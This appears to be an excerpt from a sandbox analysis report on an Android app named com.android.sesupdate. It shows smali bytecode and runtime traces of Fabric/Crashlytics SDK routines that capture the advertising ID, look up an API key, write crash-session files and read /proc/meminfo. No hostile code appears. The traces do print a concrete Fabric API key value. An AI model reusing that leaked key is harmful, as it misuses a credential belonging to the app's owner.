                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                          40move-result v2
                          41if-eqz v2, :cond_3b
                          42const/4 v2, 0x0
                          43iput-object v2, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->inProgress:Ljava/io/File;
                          44iput-object v0, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->complete:Ljava/io/File;
                          45try_end_37: goto/16 :goto_5
                          46catchall_38: move-exception v2
                          47monitor-exit p0
                          48throw v2
                          49try_start_3b:
                          50const-string v1, ""
                          52invoke-virtual {v0}, Ljava/io/File;->exists()Z
                          53move-result v2
                          54if-eqz v2, :cond_6e
                          56const-string v1, " (target already exists)"
                          57goto_45: new-instance v2, Ljava/io/IOException;
                          58new-instance v3, Ljava/lang/StringBuilder;
                          60invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                          62const-string v4, "Could not rename temp file: "
                          64invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          65move-result-object v3
                          67iget-object v4, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->inProgress:Ljava/io/File;
                          69invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          70move-result-object v3
                          72const-string v4, " -> "
                          74invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          75move-result-object v3
                          77invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          78move-result-object v3
                          80invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          81move-result-object v3
                          83invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          84move-result-object v3
                          86invoke-direct {v2, v3}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                          87throw v2
                          88cond_6e:
                          89iget-object v2, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->inProgress:Ljava/io/File;
                          91invoke-virtual {v2}, Ljava/io/File;->exists()Z
                          92move-result v2
                          93if-nez v2, :cond_45
                          95const-string v1, " (source does not exist)"
                          96try_end_78: goto/16 :goto_45
                          APIs
                          • android.os.Looper.myLooper
                          • android.os.Looper.getMainLooper
                          • android.content.Context.getPackageManager
                          • android.content.pm.PackageManager.getPackageInfo
                          • android.content.Intent.<init>
                          • android.content.Intent.setPackage
                          • android.content.Context.bindService
                          • io.fabric.sdk.android.services.common.AdvertisingInfoServiceStrategy.AdvertisingInterface.getId
                          • io.fabric.sdk.android.services.common.AdvertisingInfoServiceStrategy.AdvertisingInterface.isLimitAdTrackingEnabled
                          • android.content.Context.unbindService
                          Strings
                          • Fabric
                          • AdvertisingInfoServiceStrategy cannot be called on the main thread
                          • com.android.vending
                          • com.google.android.gms.ads.identifier.service.START
                          • com.google.android.gms
                          • Unable to find Google Play Services package name
                          • Unable to determine if Google Play Services is available
                          • Exception in binding to Google Play Service to capture AdvertisingId
                          • Could not bind to Google Play Service to capture AdvertisingId
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v6, 0x0
                          3invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper;
                          4move-result-object v7
                          6invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                          7move-result-object v8
                          8if-ne v7, v8, :cond_17
                          10invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          11move-result-object v7
                          13const-string v8, "Fabric"
                          15const-string v9, "AdvertisingInfoServiceStrategy cannot be called on the main thread"
                          17invoke-interface {v7, v8, v9}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          18goto_16: return-object v6
                          19cond_17:
                          20iget-object v7, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy;->context:Landroid/content/Context;
                          22invoke-virtual {v7}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          23move-result-object v4
                          25const-string v7, "com.android.vending"
                          26const/4 v8, 0x0
                          28invoke-virtual {v4, v7, v8}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                          29try_end_23: new-instance v1, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$AdvertisingConnection;
                          31invoke-direct {v1, v6}, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$AdvertisingConnection;-><init>(Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$1;)V
                          32new-instance v3, Landroid/content/Intent;
                          34const-string v7, "com.google.android.gms.ads.identifier.service.START"
                          36invoke-direct {v3, v7}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                          38const-string v7, "com.google.android.gms"
                          40invoke-virtual {v3, v7}, Landroid/content/Intent;->setPackage(Ljava/lang/String;)Landroid/content/Intent;
                          41try_start_34:
                          42iget-object v7, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy;->context:Landroid/content/Context;
                          43const/4 v8, 0x1
                          45invoke-virtual {v7, v3, v1, v8}, Landroid/content/Context;->bindService(Landroid/content/Intent;Landroid/content/ServiceConnection;I)Z
                          46try_end_3a: move-result v7
                          47if-eqz v7, :cond_9a
                          48try_start_3d: new-instance v0, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$AdvertisingInterface;
                          50invoke-virtual {v1}, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$AdvertisingConnection;->getBinder()Landroid/os/IBinder;
                          51move-result-object v7
                          53invoke-direct {v0, v7}, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$AdvertisingInterface;-><init>(Landroid/os/IBinder;)V
                          54new-instance v7, Lio/fabric/sdk/android/services/common/AdvertisingInfo;
                          56invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$AdvertisingInterface;->getId()Ljava/lang/String;
                          • Time: 994608018
                            • This:
                              • io.fabric.sdk.android.services.common.AdvertisingInfoServiceStrategy$AdvertisingInterface@22adbd5f
                            • Return:
                              • null
                          57move-result-object v8
                          59invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy$AdvertisingInterface;->isLimitAdTrackingEnabled()Z
                          • Time: 994608024
                            • This:
                              • io.fabric.sdk.android.services.common.AdvertisingInfoServiceStrategy$AdvertisingInterface@22adbd5f
                            • Return:
                              • false
                          60move-result v9
                          62invoke-direct {v7, v8, v9}, Lio/fabric/sdk/android/services/common/AdvertisingInfo;-><init>(Ljava/lang/String;Z)V
                          63try_end_53:
                          64iget-object v8, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy;->context:Landroid/content/Context;
                          66invoke-virtual {v8, v1}, Landroid/content/Context;->unbindService(Landroid/content/ServiceConnection;)V
                          67try_end_58: move-object v6, v7
                          68goto/16 :goto_16
                          69catch_5a: move-exception v2
                          71invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          72move-result-object v7
                          74const-string v8, "Fabric"
                          76const-string v9, "Unable to find Google Play Services package name"
                          78invoke-interface {v7, v8, v9}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          79goto/16 :goto_16
                          80catch_67: move-exception v2
                          82invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          83move-result-object v7
                          85const-string v8, "Fabric"
                          87const-string v9, "Unable to determine if Google Play Services is available"
                          89invoke-interface {v7, v8, v9, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          90goto/16 :goto_16
                          91catch_74: move-exception v2
                          92try_start_75:
                          93invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          94move-result-object v7
                          96const-string v8, "Fabric"
                          98const-string v9, "Exception in binding to Google Play Service to capture AdvertisingId"
                          100invoke-interface {v7, v8, v9, v2}, Lio/fabric/sdk/android/Logger;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          101try_start_80:
                          102iget-object v7, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy;->context:Landroid/content/Context;
                          104invoke-virtual {v7, v1}, Landroid/content/Context;->unbindService(Landroid/content/ServiceConnection;)V
                          105try_end_85: goto/16 :goto_16
                          106catch_86: move-exception v5
                          108invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          109move-result-object v7
                          111const-string v8, "Fabric"
                          113const-string v9, "Could not bind to Google Play Service to capture AdvertisingId"
                          115invoke-interface {v7, v8, v9, v5}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          116goto/16 :goto_16
                          117catchall_93: move-exception v7
                          118try_start_94:
                          119iget-object v8, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoServiceStrategy;->context:Landroid/content/Context;
                          121invoke-virtual {v8, v1}, Landroid/content/Context;->unbindService(Landroid/content/ServiceConnection;)V
                          122throw v7
                          123cond_9a:
                          124invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          125move-result-object v7
                          127const-string v8, "Fabric"
                          129const-string v9, "Could not bind to Google Play Service to capture AdvertisingId"
                          131invoke-interface {v7, v8, v9}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          132try_end_a5: goto/16 :goto_16
                          Cross References
                          APIs
                          • com.android.sesupdate.MainApplication.getPackageName
                          • android.content.Context.getPackageManager
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.os.Bundle.getString
                          • java.lang.String.equals
                          • android.os.Bundle.getString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • com.android.sesupdate
                          • 19d58776ce8832688957d734b44933eeffb4ed48
                          • io.fabric.ApiKey
                          • @string/twitter_consumer_secret
                          • Fabric
                          • Ignoring bad default value for Fabric ApiKey set by FirebaseUI-Auth
                          • Falling back to Crashlytics key lookup from Manifest
                          • com.crashlytics.ApiKey
                          • Caught non-fatal exception while retrieving apiKey:
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v1, 0x0
                          3try_start_1:
                          4invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          • Time: 994607117
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • Return:
                              • com.android.sesupdate
                          5move-result-object v4
                          7invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          8move-result-object v5
                          9const/16 v6, 0x80
                          11invoke-virtual {v5, v4, v6}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          • Time: 994607124
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{af74546 com.android.sesupdate}
                          • Time: 994621920
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{3b26b4b6 com.android.sesupdate}
                          12move-result-object v0
                          14iget-object v2, v0, Landroid/content/pm/ApplicationInfo;->metaData:Landroid/os/Bundle;
                          15if-eqz v2, :cond_40
                          17const-string v5, "io.fabric.ApiKey"
                          19invoke-virtual {v2, v5}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994607131
                            • This:
                              • Bundle[{io.fabric.ApiKey=19d58776ce8832688957d734b44933eeffb4ed48}]
                            • p0: io.fabric.ApiKey
                            • Return:
                              • 19d58776ce8832688957d734b44933eeffb4ed48
                          20move-result-object v1
                          22const-string v5, "@string/twitter_consumer_secret"
                          24invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          25move-result v5
                          26if-eqz v5, :cond_2d
                          28invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          29move-result-object v5
                          31const-string v6, "Fabric"
                          33const-string v7, "Ignoring bad default value for Fabric ApiKey set by FirebaseUI-Auth"
                          35invoke-interface {v5, v6, v7}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          36const/4 v1, 0x0
                          37cond_2d: if-nez v1, :cond_40
                          39invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          40move-result-object v5
                          42const-string v6, "Fabric"
                          44const-string v7, "Falling back to Crashlytics key lookup from Manifest"
                          46invoke-interface {v5, v6, v7}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          48const-string v5, "com.crashlytics.ApiKey"
                          50invoke-virtual {v2, v5}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                          51try_end_3f: move-result-object v1
                          52goto_40: return-object v1
                          53catch_41: move-exception v3
                          55invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          56move-result-object v5
                          58const-string v6, "Fabric"
                          59new-instance v7, Ljava/lang/StringBuilder;
                          61invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                          63const-string v8, "Caught non-fatal exception while retrieving apiKey: "
                          65invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          66move-result-object v7
                          68invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          69move-result-object v7
                          71invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          72move-result-object v7
                          74invoke-interface {v5, v6, v7}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          75goto/16 :goto_40
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.io.FileOutputStream.<init>
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.io.File.<init>
                          Strings
                          • .cls_temp
                          • 5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          Position Instruction Meta Information
                          0.param p1, "dir" # Ljava/io/File;
                          1.param p2, "fileRoot" # Ljava/lang/String;
                          2.annotation system Ldalvik/annotation/Throws;
                          3value = {
                          4Ljava/io/FileNotFoundException;
                          5}
                          6.end annotation
                          7.prologue
                          8new-instance v0, Ljava/io/File;
                          9new-instance v1, Ljava/lang/StringBuilder;
                          11invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                          13invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          14move-result-object v1
                          16const-string v2, ".cls_temp"
                          18invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          19move-result-object v1
                          21invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          22move-result-object v1
                          24invoke-direct {v0, p1, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                          • Time: 994608234
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                            • p0: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                            • p1: 5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          26invoke-direct {p0, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                          27const/4 v0, 0x0
                          28iput-boolean v0, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->closed:Z
                          29new-instance v0, Ljava/lang/StringBuilder;
                          31invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          33invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          34move-result-object v0
                          36sget-object v1, Ljava/io/File;->separator:Ljava/lang/String;
                          38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          39move-result-object v0
                          41invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          42move-result-object v0
                          44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          45move-result-object v0
                          46iput-object v0, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->root:Ljava/lang/String;
                          47new-instance v0, Ljava/io/File;
                          48new-instance v1, Ljava/lang/StringBuilder;
                          50invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                          52iget-object v2, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->root:Ljava/lang/String;
                          54invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          55move-result-object v1
                          57const-string v2, ".cls_temp"
                          59invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          60move-result-object v1
                          62invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          63move-result-object v1
                          65invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          • Time: 994608243
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                            • p0: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          66iput-object v0, p0, Lcom/crashlytics/android/core/ClsFileOutputStream;->inProgress:Ljava/io/File;
                          67return-void
                          Cross References
                          APIs
                          • java.io.File.exists
                          • java.io.FileReader.<init>
                          • java.io.BufferedReader.<init>
                          • java.io.BufferedReader.readLine
                          • java.util.regex.Pattern.compile
                          • java.util.regex.Pattern.split
                          • java.lang.String.equals
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • MemTotal: 919924 kB
                          • \\s*:\\s*
                          • Failed to close system file reader.
                          • Fabric
                          • Error parsing
                          Position Instruction Meta Information
                          0.param p0, "file" # Ljava/io/File;
                          1.param p1, "fieldname" # Ljava/lang/String;
                          2.prologue
                          3const/4 v9, 0x1
                          4const/4 v6, 0x0
                          6invoke-virtual {p0}, Ljava/io/File;->exists()Z
                          • Time: 994609003
                            • This:
                              • /proc/meminfo
                            • Return:
                              • true
                          7move-result v7
                          8if-eqz v7, :cond_3a
                          9const/4 v0, 0x0
                          10try_start_9: new-instance v1, Ljava/io/BufferedReader;
                          11new-instance v7, Ljava/io/FileReader;
                          13invoke-direct {v7, p0}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
                          14const/16 v8, 0x400
                          16invoke-direct {v1, v7, v8}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                          17try_end_15:
                          18invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                          • Time: 994609071
                            • This:
                              • java.io.BufferedReader@161caf26
                            • Return:
                              • MemTotal: 919924 kB
                          19move-result-object v3
                          20if-eqz v3, :cond_35
                          22const-string v7, "\\s*:\\s*"
                          24invoke-static {v7}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                          25move-result-object v4
                          26const/4 v7, 0x2
                          28invoke-virtual {v4, v3, v7}, Ljava/util/regex/Pattern;->split(Ljava/lang/CharSequence;I)[Ljava/lang/String;
                          29move-result-object v5
                          30array-length v7, v5
                          31if-le v7, v9, :cond_15
                          32const/4 v7, 0x0
                          33aget-object v7, v5, v7
                          35invoke-virtual {v7, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          36move-result v7
                          37if-eqz v7, :cond_15
                          38const/4 v7, 0x1
                          39aget-object v6, v5, v7
                          40try_end_35:
                          41const-string v7, "Failed to close system file reader."
                          43invoke-static {v1, v7}, Lio/fabric/sdk/android/services/common/CommonUtils;->closeOrLog(Ljava/io/Closeable;Ljava/lang/String;)V
                          44goto_3a: return-object v6
                          45catch_3b: move-exception v2
                          46try_start_3c:
                          47invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          48move-result-object v7
                          50const-string v8, "Fabric"
                          51new-instance v9, Ljava/lang/StringBuilder;
                          53invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                          55const-string v10, "Error parsing "
                          57invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          58move-result-object v9
                          60invoke-virtual {v9, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          61move-result-object v9
                          63invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          64move-result-object v9
                          66invoke-interface {v7, v8, v9, v2}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          67try_end_58:
                          68const-string v7, "Failed to close system file reader."
                          70invoke-static {v0, v7}, Lio/fabric/sdk/android/services/common/CommonUtils;->closeOrLog(Ljava/io/Closeable;Ljava/lang/String;)V
                          71goto/16 :goto_3a
                          72catchall_5e: move-exception v7
                          73goto_5f:
                          74const-string v8, "Failed to close system file reader."
                          76invoke-static {v0, v8}, Lio/fabric/sdk/android/services/common/CommonUtils;->closeOrLog(Ljava/io/Closeable;Ljava/lang/String;)V
                          77throw v7
                          78catchall_65: move-exception v7
                          79move-object v0, v1
                          80goto/16 :goto_5f
                          81catch_68: move-exception v2
                          82move-object v0, v1
                          83goto/16 :goto_3c
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.io.File.getPath
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.io.File.<init>
                          • java.io.RandomAccessFile.setLength
                          • java.io.RandomAccessFile.seek
                          • java.io.RandomAccessFile.write
                          • java.io.RandomAccessFile.close
                          • java.io.File.renameTo
                          • java.io.IOException.<init>
                          • java.io.RandomAccessFile.close
                          Strings
                          • .tmp
                          • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap.tmp
                          • Rename failed!
                          Position Instruction Meta Information
                          0.param p0, "file" # Ljava/io/File;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/io/IOException;
                          4}
                          5.end annotation
                          6.prologue
                          7new-instance v2, Ljava/io/File;
                          8new-instance v3, Ljava/lang/StringBuilder;
                          10invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                          12invoke-virtual {p0}, Ljava/io/File;->getPath()Ljava/lang/String;
                          13move-result-object v4
                          15invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          16move-result-object v3
                          18const-string v4, ".tmp"
                          20invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          21move-result-object v3
                          23invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          24move-result-object v3
                          26invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          • Time: 994608631
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap.tmp
                            • p0: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap.tmp
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap.tmp
                          28invoke-static {v2}, Lio/fabric/sdk/android/services/common/QueueFile;->open(Ljava/io/File;)Ljava/io/RandomAccessFile;
                          29move-result-object v1
                          30const-wide/16 v4, 0x1000
                          31try_start_22:
                          32invoke-virtual {v1, v4, v5}, Ljava/io/RandomAccessFile;->setLength(J)V
                          33const-wide/16 v4, 0x0
                          35invoke-virtual {v1, v4, v5}, Ljava/io/RandomAccessFile;->seek(J)V
                          36const/16 v3, 0x10
                          37new-array v0, v3, [B
                          38const/4 v3, 0x4
                          39new-array v3, v3, [I
                          40fill-array-data v3, :array_52
                          42invoke-static {v0, v3}, Lio/fabric/sdk/android/services/common/QueueFile;->writeInts([B[I)V
                          44invoke-virtual {v1, v0}, Ljava/io/RandomAccessFile;->write([B)V
                          45try_end_3a:
                          46invoke-virtual {v1}, Ljava/io/RandomAccessFile;->close()V
                          48invoke-virtual {v2, p0}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
                          • Time: 994608725
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap.tmp
                            • p0: true
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap
                          49move-result v3
                          50if-nez v3, :cond_50
                          51new-instance v3, Ljava/io/IOException;
                          53const-string v4, "Rename failed!"
                          55invoke-direct {v3, v4}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                          56throw v3
                          57catchall_4b: move-exception v3
                          59invoke-virtual {v1}, Ljava/io/RandomAccessFile;->close()V
                          60throw v3
                          61cond_50: return-void
                          62nop
                          Cross References
                          APIs
                          • java.util.ArrayList.<init>
                          • java.lang.String.replace
                          • java.lang.String.toLowerCase
                          • java.util.List.add
                          • java.util.Collections.sort
                          • java.lang.StringBuilder.<init>
                          • java.util.List.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.String.length
                          • io.fabric.sdk.android.services.common.CommonUtils.sha1
                          Strings
                          • -
                          • a70c5b872411d0a0d40da8f7f831148fe10d2556
                          • edbc48a370844623be9da00d32277bfa
                          Position Instruction Meta Information
                          0.param p0, "sliceIds" # [Ljava/lang/String;
                          1.prologue
                          2const/4 v4, 0x0
                          3if-eqz p0, :cond_6
                          4array-length v5, p0
                          5if-nez v5, :cond_7
                          6goto_6: return-object v4
                          7cond_7: new-instance v3, Ljava/util/ArrayList;
                          9invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
                          10array-length v6, p0
                          11const/4 v5, 0x0
                          12goto_e: if-ge v5, v6, :cond_28
                          13aget-object v1, p0, v5
                          14if-eqz v1, :cond_25
                          16const-string v7, "-"
                          18const-string v8, ""
                          20invoke-virtual {v1, v7, v8}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                          21move-result-object v7
                          23sget-object v8, Ljava/util/Locale;->US:Ljava/util/Locale;
                          25invoke-virtual {v7, v8}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
                          26move-result-object v7
                          28invoke-interface {v3, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                          29cond_25: add-int/lit8 v5, v5, 0x1
                          30goto/16 :goto_e
                          31cond_28:
                          32invoke-static {v3}, Ljava/util/Collections;->sort(Ljava/util/List;)V
                          33new-instance v2, Ljava/lang/StringBuilder;
                          35invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          37invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                          38move-result-object v5
                          39goto_34:
                          40invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                          41move-result v6
                          42if-eqz v6, :cond_44
                          44invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          45move-result-object v1
                          46check-cast v1, Ljava/lang/String;
                          48invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          49goto/16 :goto_34
                          50cond_44:
                          51invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          52move-result-object v0
                          54invoke-virtual {v0}, Ljava/lang/String;->length()I
                          55move-result v5
                          56if-lez v5, :cond_6
                          58invoke-static {v0}, Lio/fabric/sdk/android/services/common/CommonUtils;->sha1(Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994608312
                            • p0: edbc48a370844623be9da00d32277bfa
                            • Return:
                              • a70c5b872411d0a0d40da8f7f831148fe10d2556
